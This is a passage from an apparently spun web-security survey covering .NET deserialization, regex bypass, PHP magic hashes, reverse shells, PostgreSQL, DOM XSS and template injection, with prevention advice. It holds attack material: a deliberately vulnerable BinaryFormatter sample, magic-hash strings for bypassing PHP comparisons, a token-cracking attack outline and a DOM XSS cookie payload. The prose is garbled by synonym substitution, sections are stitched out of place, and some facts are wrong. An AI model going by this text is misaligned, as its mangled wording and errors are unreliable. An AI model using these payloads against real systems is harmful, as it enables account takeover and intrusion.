JSON serialization serializes only public properties and does not preserve type fidelity. However, JSON is an open standard that is an attractive choice for sharing data across the Web.

5.2 .NET deserialization Vulnerable Sample

The .NET framework presents several instances of deserialization. Architects will likely be taught with the following sample, where some untrusted binary data is deserialized to create some objects:

```
[Serializable]
public class ClassName
{
        public string PropertyName_ { get; set; }
        public double OtherPropertyName_ { get; set; }
}

class Program
{
        static void Main(string[] args)
        {
        BinaryFormatter binaryFormatter1 = new BinaryFormatter();
                MemoryStream memoryStreamObj = new
MemoryStream(File.ReadAllBytes("untrusted.file"));
        SomeClass obj = (SomeClass)binaryFormatter1.Deserialize(memoryStreamObj);
        Console.WriteLine(obj.PropertyName_);
        Console.WriteLine(obj.OtherPropertyName_);
        }
}
```

The above program happily deserializes not only instances of Class Name (even though a category cast error is presented for other objects) but also enough to trigger harmful manners. For instance, a malicious user could leverage publicly known instruments such as ysoserial.net to smoothly craft loads that manipulate the existence of external libraries and thus create a chain of widgets that ultimately guide to RCE. Alternatively, an attacker who understands the application's source code could locate dangerous classes in the codebase. For sample, think that somewhere in the application, the following type is identified:

```
[Serializable]
public class DangerousClass
{
  private string path;

        public DangerousClass(String path) {
                this.path = path;
        }

        public ~DangerousClass() {
                File.Delete(path)
        }
}
```

The assailant can then build such objects locally utilizing a random path as a parameter, serialize it, and ultimately provide it to the vulnerable application. When the said object is finally removed from memory by the garbage collector, the attacker acquires the capability to delete random files in the system.

5.3 Research Findings

The effect of insecure deserialization can be potent because it provides an access point to a massively increased attack surface. It permits an attacker to reuse current application code in harmful ways, resulting in multiple vulnerabilities, often remote code execution.

Even in cases where remote code execution is not possible, insecure deserialization can lead to privilege escalation, random file access, and denial-of-service attacks.

5.4 Prevention or deserializing Objects in a Safe Way

The language-specific guideline aims to identify safe procedures for unreliable deserializing data.

PHP
Review of White Box
Examine how the external parameters are taken and how the *unserialize ()* function is used. If we need to provide serialized data to the user, utilize a safe, standard data exchange format like JSON (through JSON decode *()*, and JSON encode *()*).

Python
Black Box Review
Suppose the traffic data contains the symbol dot. In the end, the data was likely sent in serialization.

Cause of risk- Remote Code Execution (RCE) is an orientation in the binary serialization of data. RCE was the cause of multiple real-life exposures such as in Microsoft Exchange Server and, more just, in Docker. Remote Code Execution permits to run any authority on the machine.

To sum up, deserialization performs code from different locations:

- The constructor of each deserialized instance
- The getter/setter of each property
- The destructor when the waste collection (GC) destroys the instance

Key take-away to prevent Insecure Deserialization attacks:

Our top recommendations are to solve Insecure from an architectural standpoint deserialization vulnerability correctly. RASP-style protection will cover Insecure from a practical perspective.

Deserialization issues:

Use language-independent formats: instead of native binary forms, use standard formats like JSON or YAML.

Integrity checks: When possible, incorporate positive validation for serialized data based on signatures. Never rely on information provided by the user.

Ensure that our security tool has total visibility: guard against unknown risks by avoiding *blocklisting* or pattern matching (such as WAF and DAST) protection. On the other hand, RASPs have complete visibility.

Prevention

Never pass user-supplied information to *BinaryFormatter;* the documentation displays this explicitly:

The *BinaryFormatter* class is harmful and is not suggested for data processing. Applications should quit using *BinaryFormatter* as soon as feasible, even if they think the data; they're processing to be reliable. *BinaryFormatter* is doubtful and can't be made safe.

Whenever the situation allows, designers are urged to utilize different types of information serialization, like XML, JSON, or the *BinaryReader* and *BinaryWriter* classes. The last option is the suggested approach for double serialization. For instance, in the above situation, the serialization stage could be carried out as:

```
var someObj = new SomeClass();
someObj.SomeProperty1 = "some value";
someObj.SomeOtherProperty1 = 3.14;

using (BinaryWriter writer = new BinaryWriter(File.Open("untrusted00.file",
FileMode.Create)))
{
        writer.Write(someObj.SomeProperty1);
        writer.Write(someObj.SomeOtherProperty1);
}
And in turn, the deserialization phase as:
var someObj = new SomeClass();
using (BinaryReader reader = new BinaryReader(File.Open("untrusted00.file",
FileMode.Open)))
{
        someObj.SomeProperty1 = reader.ReadString();
        someObj.SomeOtherProperty1 = reader.ReadDouble();
}
```

More generally, ways to prevent that attack.

- When we roundtrip state to a user-controlled space, sign the data. Thus, we can validate that our application has generated the data, and it should not contain any malicious data.
- Don't publish the signing key so that no one can develop the malicious payload.
- Don't use any serialization format that enables an attacker to determine the object type to be deserialized. It may need some arrangement for some serializers.

6. Bypassing Regex Restrictions

6.1 Introduction

A regular expression is a pattern for comparing character pairings in a string. Regex or regex are other terms for the same thing. Regular expression helps in various ways, including validating user input into the applications, like email, name, phone number, etc. It also supports discovering the word or string in a file or paragraph.

Common expression matching is commonly completed as an elementary by many of today's computer systems and has been so for the basic half-century. On a Mac, or With Unix/Linux, we check common expressions in comprehensive file techniques using the command line utility grep. With the stream editor sed, we additionally specify an alternate of the events of the common word. Perl's general text processing language has more integrated common expression matching [25], commonly used to convert input/output formats. One of the essential features in Perl is to match regular expressions and substitute some of the subexpressions. The standard expression matching is often the tricky part. In contrast, the subsequent substitution is easy, so improving regular expression matching would improve a lot of data processing.

6.2 Literature Review

Historically, standard expression matching goes rear to Kleene in the 1950s [35]. It became famous for practical use in text editors in the 1960s [36]. Compilers use regular expression matching for separating tokens in the lexical analysis phase [37]. New and exciting applications continue to appear in diverse areas, such as XML querying [38], [39], protein searching [40], and Internet traffic analysis [41], [42].

Computational example, we analyze the complexness of regular expression matching on the RAM model with standard word operations. This means that our algorithms can be implemented directly in traditional imperative programming languages such as C [43] or C++ [44]. These programming languages have been commonly used to write efficient and portable code for the last thirty years.

In 1985 Galil [45] asked if a faster algorithm could be derived. Myers [46] met this challenge in 1992 with an O(nm/ log n + (n + m) log n) time explanation, thus enhancing the time complexness of the Thompson algorithm by a log N factor for the most values of n and m. Since then, several works have mainly addressed space issues and more significant word length [47], [48], [40]. The important cause is that all the earlier systems aim to speed up the O(m) time the NFA requires to process one character from the line. To do that, we require minimum Ω(m/w) time only to read or compose the condition set of the NFA. Bille [47] obtained this bound within a log w factor.

6.3 Pattern matching in a text editor

Lexical analysis in a compiler - Various forms of regular expressions were included in different programming languages in Unix are vi, awk, sed, expr, etc. Perl derived more complex forms of regexes from the original regex library.

A search pattern is a regular expression (*or regex*). The phrase *[cb]at*, for example, can be used to refer to both a cat and a bat.

The study's research uncovered "weak spots" in regular expressions used by Web Application Firewalls (*WAFs*).

The repository contains SAST, which can help us find security vulnerabilities in custom regular expressions in our projects.

Boolean *"or"*

Alternatives are separated by a vertical bar. *Gray|grey*, for example, can be used to match *"gray"* or *"grey."*

Grouping

The scope and precedence of the operators are defined by parentheses (*among other uses*). Thus, *gray |grey*, and *gr(a|e)y*, for example, are matching patterns that are both described as a set of *"gray"* or *"grey."*

Quantification

Behind a token (such as a character) or a group, a quantifier indicates the maximum number of times a primary element can appear. For example, the query sign? The asterisk * (emanated from the Kleene star) and the *plus sign +* are the most frequent quantifiers (*Kleene plus*).

? The question mark means zero or one happening of the preceding element. For example, color? R matches both "color" and "color."

* The asterisk denotes zero or more happenings of the primary element. For instance, ab*c matches "ac", "ABC", "abbc", "abbbc", and so on.

+ The plus sign denotes one or more happenings of the preceding element. For instance, ab+c matches "ABC", "abbc", "abbbc", and others, but not like "ac".

{n}[19] The initial item is matched strictly n times.
{min,}[19] The primary item is restricted min or more times.
{,max}[19] The preceding item is compared up to max times.
{min,max}[19] The primary item is compared at least min times but not more than max times.

Wildcard

The wildcard. It fits any character. For sample, *a.b* matches any string that includes an *"a,"* then any other character, and then *"b," a.*b* matches any line that has an *"a,"* and then the character *"b"* at some more delinquent issue.

These structures can be connected to form arbitrarily complicated presentations, much like one can create arithmetical expressions from numbers and the functions +, −, ×, *and* ÷. Thus, for example, *H(ae?|ä)ndel* and *H(a|ae|ä)and* are both valid patterns that match the exact strings as the more premature sample, *H(ä|ae?)ndel.*

The special syntax for common presentations changes among tools and context; more detail is given in *§* syntax.

Deciding equivalence of regular expressions

It is feasible to write an algorithm that decides whether the conveyed languages are equal; it reduces each word to a minimal deterministic finite state device and decides whether they are isomorphic *(equal)*.

Algebraic rules for standard expressions can be received using a process by Fischer who is best described along with a sample: To check whether *(X+Y)** and *(X* Y*)** denote the same common language, for all common presentations *X, Y,* it is required and adequate to check whether the individual regular expressions *(a+b)** and *(a* b*)** denote the same language over the alphabet *Σ={a,b}.* More commonly, an equation *E=F* between regular-expression terms with variables carries if, and only if, its instantiation with various variables returned by different symbol constants holds

Syntax

A pattern is composed of a sequence of atoms. A match is made when all the string traces are matched, rather than compiling an extensive list of literal possibilities. The idea is to create a small pattern of characters that stand for many possible strings.

Delimiters

When penetrating a *regex* in a programming language, they may be a literal string. They are usually composed with slashes as delimiters, as in */re/* for the regex re. This notation is mainly well known due to its use in Perl.

Pinnacles

The IEEE POSIX measure has three sets of statements: BRE, ERE, and ERE add?, +, and |, and detach the need to escape the metacharacters and {. Perl has no "*basic*" or "*extended*" levels.

POSIX basic and extended

Metacharacter and description

{^}: Matches the starting place within the string. In line-based devices, it matches the starting position of any queue.
{.}: Matching a single character - many applications exclude newlines, and simply which characters are supposed new lines is flavor-, character-encoding-, and platform-specific,

but it is protected to believe that the line spread character is included. Inside the POSIX bracket expressions, the dot character matches a literal dot. For example, a.c games *"ABC", etc., but [a.c] reaches just "a", ".", or "c".*
{ [ ] } : A bracket expression. Matches a single character that is includes within the brackets. For instance, *[abc]* matching with *"a", "b", or "c". [a-z]* specifies a range which matches any lowercase letter from *"a" to "z"*. These forms can be combined: *[abcx-z]* matches *"a", "b", "c", "x", "y", or "z", as does [a-cx-z].*

The - character is feted as a literal character if it is the last or the first [after the ^, if present] character inside the brackets: *[abc-], [-abc]*. Note that *nbackslash* outs are not permitted. Likewise, N-the character can be included in a bracket term if it is the first (after the ^) character*: []abc]*.

{ [^] }: Matches one single character will is not retained inside the brackets. For example, *[^abc]* fits any character distinct from *"a," "b," or "c." [^a-z]* compares with a single character which is not a lowercase letter from *"A" to "Z."* Also, literal characters and scopes can be merged.

{ $ }: Compares the ending place of the string or the part just before a string-ending new line. In line-based tools, it compares the ending standing of any line.

{ ( ) } : Defines a notable subexpression. The string corresponded within the parentheses can be determined later *-see* the next entry, *\n.* A marked subexpression has also named a block or capturing class. BRE mode requires *\(\)*.

{ \n }: Matches what the *N-th* marked subexpression likened, where n is a digit from *1* to *9*. This construct is vaguely described in the *POSIX.2 ideal*. Some implements allow referencing better than nine catching sets.

*{ * } :* Fits the following element at least zero times. For instance, *ab*c* matches *"abbbc", "abc", "ac", etc. [xyz]** matches *"", "x", "y", "z", "zx", "zyx", "xyzzy",* and so on. *(ab)** matches *"", "abbbc", "abc", "ac",* and others.

{ {m,n} } : Fits the preceding element at least M and less than N times. For example, *a{3,5}* matches with *"aaa", "aaaa",* and *"aaaaa"*. This is not available in a few older instances of regexes. BRE mode requires *\{m,n\}*.

POSIX extended
Few characters in the POSIX Extended Regular Expression (ERE) syntax change the meaning of metacharacters fled with a backslash. A backslash causes the metacharacter to be feted as a literal character with this syntax. So, for instance, *\(\)* is now *( )* and *\{ \}* is now *{ }*.

Metacharacters and description

{?}: Matches the preceding part zero or one time. For instance, *ab? c* fits greatest *"ac"* or *"ABC."*

{+}: Fits the prior element one or more times. For instance, *ab+c* fits *"ABC", "abbc", "abbbc"*, and so on, but not *"ac"*.

{|}: The option also known as alternation or set union operator checks either the expression after the operator or the expression before. For instance, *abc|def* matches *"ABC"* or *"def"*.

6.4 Research Findings

A regex, regular expression, is a potent tool in programming that is frequently used. Using a regex, a character pattern can be defined and later used to find this pattern inside a string of characters. There are multiple tasks for which regex is proper. Good regular expressions are often longer than wrong because they use specific characters/character classes and have more structure. This causes good regular expressions to run faster as they accurately predict their input.

Don't use typical expressions when: the language we are attempting to parse is not ordinary. There are readily general parsers especially made for the data we are trying to parse.

6.5 Best Practices for Regex Safety

So, how can programmers avoid making these mistakes? Unfortunately, regex safety is difficult to achieve. It's challenging to think of all the scenarios we'll need to investigate, and we never know what imaginative hacking ideas hackers will come up with! However, by following a few regexes best practices, the risk of an attack can be reduced.

Be strict

First and foremost, when validating user input, be strict. When in doubt, when filtering for file types, IP addresses, user-agents, and other things, use an allow list rather than a blocklist. Reduce unneeded flexibility in favor of user input that is predictable. For example, when a user is requested to enter their age, only numeric should be permitted, which the value should not be too large. Finally, the duration of any user input should be kept to a minimum.

Do not make regex patterns public.

The second piece of advice is to avoid posting regex patterns on the internet. Because the project is open-sourced, some applications mistakenly reveal their regex patterns or use the same patterns in both client-side and server-side code. This makes it easier for attackers to detect and exploit security weaknesses in the regex pattern.

Make use of tried-and-true patterns.

We should avoid coding our regex patterns (like username, password validation, and comment boxes). Instead, go online and look for approved and secure regex patterns. These regex patterns have been thoroughly tested and proven superior to custom-written regex patterns.

Defense-in-depth

Use defense-in-depth measures in addition to safe regex. Defense-in-depth refers to the use of multiple layers of protection to prevent attacks rather than a single layer of protection. For example, to mitigate the impact of a potential SQL injection, we can use prepared statements, the direction of most minor claims, and hashed passwords, among other things, in addition to rigorous input validation.

Fuzz testing is a way to test our application by supplying illegal and unexpected inputs. The goal is to ensure that our regexes are doing their jobs properly.

7. Magic Hashes

7.1 Introduction

Magic hashes are well-known specific hashes used to exploit Type Juggling attacks in PHP. These can detect three vulnerabilities: type juggling, weak password storage, and incorrect Bcrypt usage. For example, a Go PoC found some MD5, SHA1, and SHA224 super magic hashes.

7.2 Process of Magic Hashes

In PHP, using the equal-equal operator '==' can have profound implications, especially when comparing password hashes:

- When using '==' PHP performs a type juggling to determine the type of variables to be compared.
- Hashes in PHP are encoded in base16 and can be found in the format *"0e812389 ..."*.
- *0e* means *"0 raised to,"* so if PHP finds a variable that begins with *"0e"* followed by numbers, it will determine that the variable is a float (even though it is a string).
- 0 raised to whatever number is always going to be *0 (or instead 0.0)*
- If we find clear text that when hashing (with the corresponding algorithm) a result that begins with *"0e,"* we will have found a password that could be valid for many hashes in the system (whenever the '==' operator is misused instead of '===').

Let's see some examples with *md5*. First, we get the magic strings:

```
$ echo -n 240610708 | md5sum
0e462097431906509019562988736854 -
$ echo -n QNKCDZO | md5sum
```

```
0e830400451993494058024219903391 -
$ echo -n aabg7XSs | md5sum
0e087386482136013740957780965295 -
```

Then we see that when comparing them with the '==' operator and with any hash that begins with *'0e'* the result is always *true*:

```
$ PHP -a
Interactive mode enabled
php> var_dump (md5 ('240610708') == '0e111111111111111111111111111111');
bool (true)
```

But if it doesn't start with '0e' the result will be false:

```
php> var_dump (md5 ('240610708') == 'NO462097431906509019562988736854');
bool (false)
```

Therefore, it never hurts to fuzz the password parameters with these values that generate the "magic" hashes in all PHP implementations.
Golang PoC
This part is about optimizing a Go script.

An attack would work as follows:

Call *BuildRandom* by requesting a URL that employs this function and keeping track of when we did so. This modifies the random number generator with the current time, which we know roughly.

Make a token request. A CSRF token or session token is a good candidate; both are returned on a request to the home page.

Looping through many seeds that correspond to the time of the first request until the same token as in the second request is generated.

We can now predict any future mt rand output, so we know a large portion of each hash generated on the server. The only parts that remain unknown are the individual components.

The preceding procedure takes less than a second. I created a proof of concept that cracks the password reset token. A validation link containing a token is emailed to the user when a password reset request is made. Because this token was created with *BuildHash*, we can deduce a significant portion of its contents by cracking the random number generator and resetting the password.

7.3 Research Findings

Sensitive information such as passwords and credit card information is stored in the database in an encrypted format by using these algorithms. By leveraging SQL injection, the

attacker can fetch the hashed passwords stored on the backend DB and attempt to crack it. Hashing with separate chaining has the advantage that it is less sensitive to a hash function. It is also easy to implement.

7.4 Prevention of Magic Hashes

For a quick PoC, I decided to use the Go language. To be as efficient as feasible, we will utilize the excellent benchmark functionality of Golang. We will also use the testing function to ensure that the hash parsing function we create does not miss (super) magic hashes.

Our requirements for the PoC are:

Be as fast as possible

- Look for magic (0e) and super (00+e) magic hashes
- Find passwords that can pass password policies
- Valid for the SHA224 hash but can be adapted easily to other hashing algorithms.
- CPU only so it can run on some unused VPS Attack

The Theory and Practice of Magic Hash-Based Attacks in IoT Systems

Presenting the idea of type-juggling attacks against IoT systems using lightweight cryptographic hash functions and formally defining "magic ashes" Presenting our case study on bypassing sensor identification utilizing the concept of magic hashes. Utilizing a supercomputing cluster, we computed the first learned magic hashes for some of the states of the art light cryptographic hash functions: PHOTON, QUARK, and SPONGENT, which are reasonable prospects that will be utilized in future IoT embedded machines The IoT Development Landscape There are several open-source IoT platforms on the market that are developed for data collection, processing, visualization, and device control.

These platforms can also deliver a graphical user interface and make it easy for the operators to monitor the status of different IoT systems, interact with the IoT devices, and accept abnormal behavior alarms. Some widely used ones are Zetta, Node-RED, or Things board without loss of generalization. There are also multiple programming engines for IoT, such as JerryScript [11], an ultra-lightweight (runs on devices with nothing less than 64 KB of RAM and less than 200KB of flash memory) JavaScript engine for IoT. CylonJS is a JavaScript framework for robotics, physical computing, and IoT. Ruff is a JavaScript runtime specialized in IoT development, and PHPoC (PHP on Chip) is a programming language and an IoT hardware platform. These are all different objective dashboards or programming machines for IoT techniques.

8. Bypass XSS Length Limitations

8.1 Introduction

We can use several techniques to fit more characters in XSS vulnerable fields than the maximum allowed. For example, fragment identifiers and XSS payloads circumvent maximum field length restrictions, bypass intrusion detection, and prevent systems.

Existing JavaScript & Character Escaping - There is no doubt that scripting languages such as JavaScript have significantly increased the functionality of web technologies, allowing for efficient client-side processing, dynamic content generation, and a variety of other characteristics that makes life very easy for both developers and users. But with these enhancements come more attack vectors for a determined hacker, especially when it comes to cross-site scripting.

8.2 Process and Best Practices

UDF shells are reverse shells-A reverse shell is a shell session started on a connection initiated by a remote machine rather than the localhost. For example, after successfully exploiting a remote command execution vulnerability, attackers can employ a reverse shell to gain an interactive shell session on the target machine and continue their attack.

Attackers often use reverse shells because most firewalls only allow connections on specific ports. Attackers can create a server on their machine and make a reverse connection to the server's IP address. They can then bind shell access to it using a tool such as *Netcat*.

Examples of Reverse Shells- Reverse shells can be easily created with various tools and languages. But, first, we'll need a listener with a public IP on our local workstation.

Reverse Shell Bash- The most straightforward option is to use bash installed on practically every Linux machine. This function was tested on Ubuntu 18.04, although all versions of party do not support it:

Reverse Shell for PHP- This language is an ideal candidate for a reverse shell if the target machine is a web server that utilizes PHP:

Java Reverse Shell
Perl Reverse Shell
Reverse Shell in Python

Python is widely used in production systems, so it could be a good choice for a reverse shell:

Ruby Shell in Reverse

While Ruby isn't as well-known as the other languages, it does allow for the creation of a reverse shell:

Netcat Reverse Shell

Preventing Reverse Shells

There's no surefire way of blocking reverse shell connections on a networked system, especially a server. However, we can mitigate the risk by selectively hardening our system to prevent it from being used by rogue servers or hackers. We can even utilize an antivirus program to protect our plan if necessary.

Outbound connectivity can be restricted to allow only specific remote IP addresses and ports for the required services. This could be accomplished through sandboxing or running the server in a minimal container. However, such hardening can only limit the risk of reverse shell connections, not eliminate them. To intercept the execution of some reverse shellcodes, remove all unnecessary tools and interpreters. Except for the most coarsened and specialized servers, this is usually not a viable option. In any case, it's unlikely that we'll find a working shell script.

PostgreSQL large objects.

In Postgres, Large Objects (also known as BLOBs) are used to hold data in the database that cannot be stored in a standard SQL table. Instead, they are stored in a separate table in a unique format and referred to by an OID value from our tables.

The catalog *pg_largeobject* holds the data making up "large objects." First, a large object is identified by an OID assigned when it is created. Then, each large object is broken into segments or *"pages"* small enough to be conveniently stored as rows in *pg_largeobject*.

PostgreSQL – Data Types

Boolean
- Character Types [char, varchar, and text];
- Numeric Types [integer and floating-point numbers];
- Worldly Types [date, time, timestamp, and interval]
- UUID [for keeping UUID (Universally Unique Identifiers)]
- Array [for keeping array strings, numbers, etc.]
- JSON [stores JSON data]
- hstore [stores key-value pair]
- Particular Types [such as network address and geometric data]

Boolean- For PostgreSQL, the *"boolean"* or *"bool"* keyword is operated to initialize a Boolean data type. These data types can hold inaccurate and null values. A boolean data type is reserved in the database according to the search:

1, yes, y, t, true values are transformed to true
0, no, false, f values are restored to false

When queried for these boolean data classes are updated and created for the following.

example- f to false,t to true
, space to null

Characters: PostgreSQL has three characters data classes: VARCHAR(n), TEXT, and CHAR (n).

CHAR(n) is operated for data(string) with a fixed character's length with padded spaces. In case the size of the line is less than the value of *"n,"* then the other remaining areas are automatically used. Similarly, for a string with a length better meaningful than the value of *"n,"* PostgreSQL throws an error.

VARCHAR(n) is the variable-length character string. Like CHAR(n), it can store "n" length of data. But unlike CHAR(n), no padding is completed if the data length is shorter than the value of "n."

TEXT is the variable-length character string. It can store data with unlimited length.

Numeric- PostgreSQL has two kinds of numbers: floating-point numbers and integers.

Integer- The small integer 'SMALLINT' has a limits-32, 768 to 32, 767, and 2 bytes.

Integer (INT) has a range of -2, 147, 483, 648 to 2, 147, 483, 647, and 4 bytes size.

Serial (SERIAL) works the same way as the integers, except these are automatically generated in PostgreSQL columns.

Floating-point number- Float *(n)* is used for floating-point numbers with n precision and can have a maximum of 8-bytes.

float8 or natural is used to represent 4-byte floating-point numbers.

An actual number *N(d,p)*, meaning with d number of digits and p number of decimal points after, is *numeric(d, p)*.

Temporal data type- This data type is used to store date-time data. PostgreSQL has five temporal data types:

- DATE is utilized to keep the dates only.
- TIME is utilized to keep the time of day values.
- TIMESTAMP is used to keep both date and time matters.
- TIMESTAMPTZ is utilized to keep a timezone-aware timestamp data type.
- INTERVAL is utilized to store periods.

Arrays- In PostgreSQL, an array column can store a variety of strings or an array of integers, etc. Thus, it can be handy when storing data, like months, a year, or even a week.

JSON- PostgreSQL supports two JSON types: JSON and JSONB(Binary JSON). The JSON data-style stocks plain JSON data parsed every time a query calls it. In comparison, the JSONB data type is used to store JSON data in a binary format. Thus, one hand makes querying data faster, whereas it slows down the data insertion process and supports the indexing of the table's data.

UUID- The UUID data type permits us to store Universal Unique Identifiers defined by RFC 4122. The UUID values confirm a better uniqueness than SERIAL and can hide sensitive data exposed to the public, such as id values in URLs.

The Unique Universal Identifiers (UUID). These were used to give a unique ID to unique data throughout the database. The UUID data type can also store the UUID of the data determined by RFC 4122. These are ideally used to protect sensitive data like credit card information and are better than SERIAL data types in the context of unique.

Particular data types- In addition to the primitive data types, PostgreSQL also supports some data types related to network or geometric. These specific data types are listed below:

- box: It is used to store rectangular boxes.
- Point: It is used to store geometric pairs of digits.
- lseg: It is utilized to keep line segments.
- Point: It is utilized to keep geometric pairs of numbers.
- Polygon: It is utilized to keep closed geometric.
- inet: It is utilized to store an IP4 address.
- macaddr: It is utilized to store MAC addresses.

8.3 Prevention

- Secure our PostgreSQL Database

An occasional security vulnerability slips through from time to time—placing the PostgreSQL database behind the corporate firewall. Change the default port to something more obscure to lower the chances of an attacker finding a database if they execute network scans.

Postgres uses Host-Based Authentication (HBA) to filter out who can access which database. Postgres also has a way of restricting access to their databases.

- **Host:** determines the location from which the client is connecting
- **Local:** indicates a connection established via Unix domain sockets
- **host:** refers to a standard relationship over to a TCP/IP network
- **hostssl:** is the same as 'host,' but over an SSL-protected TCP/IP network.

Database: specifies which database can be connected. Note that the Keywords may be used, but they are strongly discouraged because this rule allows any database to be connected to.

User: specifies the user(s) who can connect. It should be noted that the keyword can be used in any order, but it is strongly discouraged because any user could be related to under this rule.

Address: specifies where or which lessons can be linked through It can be a hostname, an IP range, a domain, or a specific reserved word. keywords such as:

- **all:** matches any address
- **same host:** matches to any of the same server's IP addresses
- **the same net:** matches any address the server is directly connected

Controlling which rows can be returned through queries or modified using data modification language (DML) Row-level security (RLS) is also known, supplying an extra layer of protection for specific columns in a table. RLS can be enabled by altering the intended table and enabling RLS. Once helped, we create policies that dictate which columns RLS is applied to.

As a database security professional, I encourage to evaluate our security posture regarding databases. Trustwave has tools to perform database scanning and provide a current snapshot of our security.

9. Dom-Based Cross-Site Scripting

9.1 Introduction

DOM Based XSS (or *"type-0 XSS"* in some texts) is an XSS attack in which The attack payload is accomplished as a result of the original client-side script's modification of the DOM "environment" in the victim's browser—causing the client-side code to run in an *"unexpected"* manner.

Document Object Model-based Cross-Site Scripting (DOM XSS) is an acronym for Document Object Model-based Cross-Site Scripting. If the web application reports data to the Document Object Model without good sanitization, a DOM-based XSS attack is conceivable. The attacker can use this information to inject XSS content into the web page, such as malicious JavaScript code.

The Document Object Model is a pattern used to define and work with objects in an HTML document. Attackers may use several DOM objects to create a Cross-site Scripting attack. Potential consequences of DOM-based XSS vulnerabilities are classified as moderate by OWASP.

9.2 Literature Review

XSS Filter As mentioned earlier, the conceptually closest work to This analysis is Bates et al.'s [52] analysis of regular expression-based XSS filters and the subsequent proposal of the methodology that constitutes the basis for the XSS Auditor. Furthermore, Polizzi and Sekar [53] proposed potential improvements for Bates et al.'s method to address partial injections. Like Bates et al. discussed, they instrument the HTML parser and apply approximate string matching inside it. Because DOM-based XSS allows an attacker to use insecure calls to evaluate and direct assignments to security-sensitive DOM APIs, it is still susceptible to some bypasses we discussed. Furthermore, the presented approach is not thoroughly assessed, especially concerning the false positive rate. Besides this, and the other two primary browser-based XSS filters [*54*], [55], most XSS protection approaches, such as [56], [57], [58], [*59*], reside on the server-side.

Filter evasion is an active topic, especially in the offensive community. Theoretical approaches in this area include, for instance, the work by Heiderich et al. on SVG-based evasions [60] and filter evasion by misusing browser-based parser quirks and mutations [61], as well as approaches that rely on parser confusion and polyglots, such as Barth et al. [62] and Magazinius et al. [63].

Dynamic taint tracking Taint propagation is a well-established tool to address injection attacks. After its initial introduction within the Perl interpreter [64], various server-side approaches have been presented that rely on this technique [65], [66], [67], [58], [68]. In 2007, Vogt et al. [69] pioneered browser-based dynamic taint tracking, employing the method to prevent the leakage of sensitive data to a remote attacker rather than prevent the attack itself. The first work to utilize taint tracking for the detection of DOM-based XSS was DOMinator [70], which was later followed by FLAX [71] and Lekies et al. [72]. For NDSS 2009, Sekar [73]

proposed and implemented a scheme for taint inference, speeding up taint tracking approaches that had presented up to this point.

9.3 Process of DOM-based cross-site scripting

Before explaining the primary method, it is necessary to stress that the methods summarized here were already documented in public, e.g. [48], [49], and [50]. It is not argued that the below are new techniques, although some of the evasion techniques are.

The condition is for the invalid site to have an HTML page that operates data from the *document.location* or *document.URL* or *document.referrer* or any other objects that the attacker can influence in an insecure way.

NOTE for readers unfamiliar with those Javascript entities: when Javascript is directed at the browser, the browser supplies the Javascript code with several objects that define the DOM (Document Object Model). The *document* object is principal among those entities, and it describes most of the page's elements, as experienced by the browser. This *manuscript* object contains many sub-objects, such *as location*, *URL*, and *referrer*. The browser populates these according to the browser's point of view (this is significant, as we'll see later with the details).

So, *document.URL* and *document.location* is populated with the URL of the page, as the browser understands it. Notice that these objects are not extracted from the HTML body - they do not appear in the page data. The *document* object does include a *body* object that is a representation of the parsed HTML.

It is not unusual to discover an application HTML page including Javascript code that parses the URL line -by accessing *document.URL* or *document.location* and serves some client-side logic according to it. Below is an instance of such
logic.

In metaphor to the instance in [51] and as an indistinguishable situation to the one in [7], consider, for example, the accompanying HTML page (suppose this is the

substance of "http://www.vulnerable.site/welcome.html)":

```
<html>
        <title>Hello, Welcome!</title>
        Hi This is test...
        <script>
                var pOS=testDocument.URL.indexOf("name=")+5;
                document.write(document.URL.substring(pOS,testDocument.URL.length)
                );
        </script>
        <br>
        Hi Welcome to our system.
        …
</html>
```

Usually, this HTML page can be used for welcoming users, example-
"http://www.vulnerable.site/welcome.html?name=Joe0000011100"
However, a requesting such as:
http://www.vulnerable.site/welcome.html?name=
<script> alert(testDocument.cookie) </script>

As a result, in an XSS condition. Let's see the purpose of the victim's browser getting this link sends HTTP request to www.vulnerable.site, and receives the above *(static!)* HTML page. The victim's browser then starts parsing this from HTML into DOM. The DOM contains an object called a document, which contains a property called URL, and this property is utilized with the URL of the current page as part of DOM creation. When the parser arrives at the Javascript code, it executes it and modifies the page's raw HTML. In this case, the code references testDocument.URL, and a part of this string is associated at parsing time in the HTML, which is then instantly parsed, and the Javascript code found *(alert(...))* is performed in the context of the same page XSS condition.

Notes-

1. The malicious file was not embedded in the raw HTML web page at any time, unlike other flavors of XSS.

2. This exploit only can work if the browser does not change the URL characters. Mozilla browser automatically encodes *< and >* (into %3C and %3E, respectively) in the test Document.URL when the URL is not exactly typed at the address bar, so it is not vulnerable to the attack as defined in the example. It is vulnerable to hacks if *< and >* are not required in raw form. Microsoft Internet Explorer 6.0 usually does not encode *< and >* and is therefore vulnerable to attack.

Of course, embedding in the HTML directly is just one attack mount point; various scenarios do not require *< and >,* and therefore Mozilla, in general, is not immune from this attack.

9.4 Impact

DOM focused XSS or as it is named in some texts, *"type-0 XSS"* is an XSS attack wherein the attack burden is organized as a result of adjusting the DOM *"environment"* in the target's browser utilized by the actual client-side script so that the client-side code runs in an *"unexpected"* method.

9.5 Prevention of DOM-based cross-site scripting

Because malicious payloads seldom reach the server and thus cannot be sanitized in the server-side code, DOM XSS attacks are challenging to detect.
The source of the issue is in the page's code, this time in client-side code.

Other XSS attacks can be prevented using the same ways. The only distinction is that we must evaluate and sanitize client-side code rather than server-side code in the case of DOM XSS.

Avoid employing client-side sensitive actions like rewriting or redirection with data obtained from the client. Instead, inspect references to DOM objects that represent a hazard, such as URL, location, and referrer, to clean up client-side code. This is especially true if the DOM can be changed.

10. Server-Side Template Injection

10.1 Introduction

Server-side template injection is a vulnerability in which an attacker injects malicious input into a template to cause it to execute commands on the server. This flaw occurs when invalid user input is embedded in the template engine, resulting in remote code execution (RCE).

10.2 Template injection working mechanism

Template engines can be widely used by web applications to present dynamic data via web pages and emails. ... Unlike XSS, Template Injection can directly attack the internals of web servers and frequently obtain Remote Code Execution (RCE), making any vulnerable application a potential pivot point.

Server-side Template Injection (XSS) can be used to attack web servers' internals and obtain Remote Code Execution (RCE). We can define and demonstrate a methodology for detecting and exploiting template injection and how it can create RCE zero-days.

Some of the numerous famous template engines can be itemized as the followings:

- PHP–Smarty, Twigs
- JAVA–Velocity, Freemaker
- Python–JINJA, Mako, Tornado
- JavaScript–Jade, Rage
- Ruby-Liquid

When input validation is not adequately handled on the server-side, a malicious server-side template injection payload can be executed on the server, resulting in remote code execution.

10.3 Effect on server-side of template injection

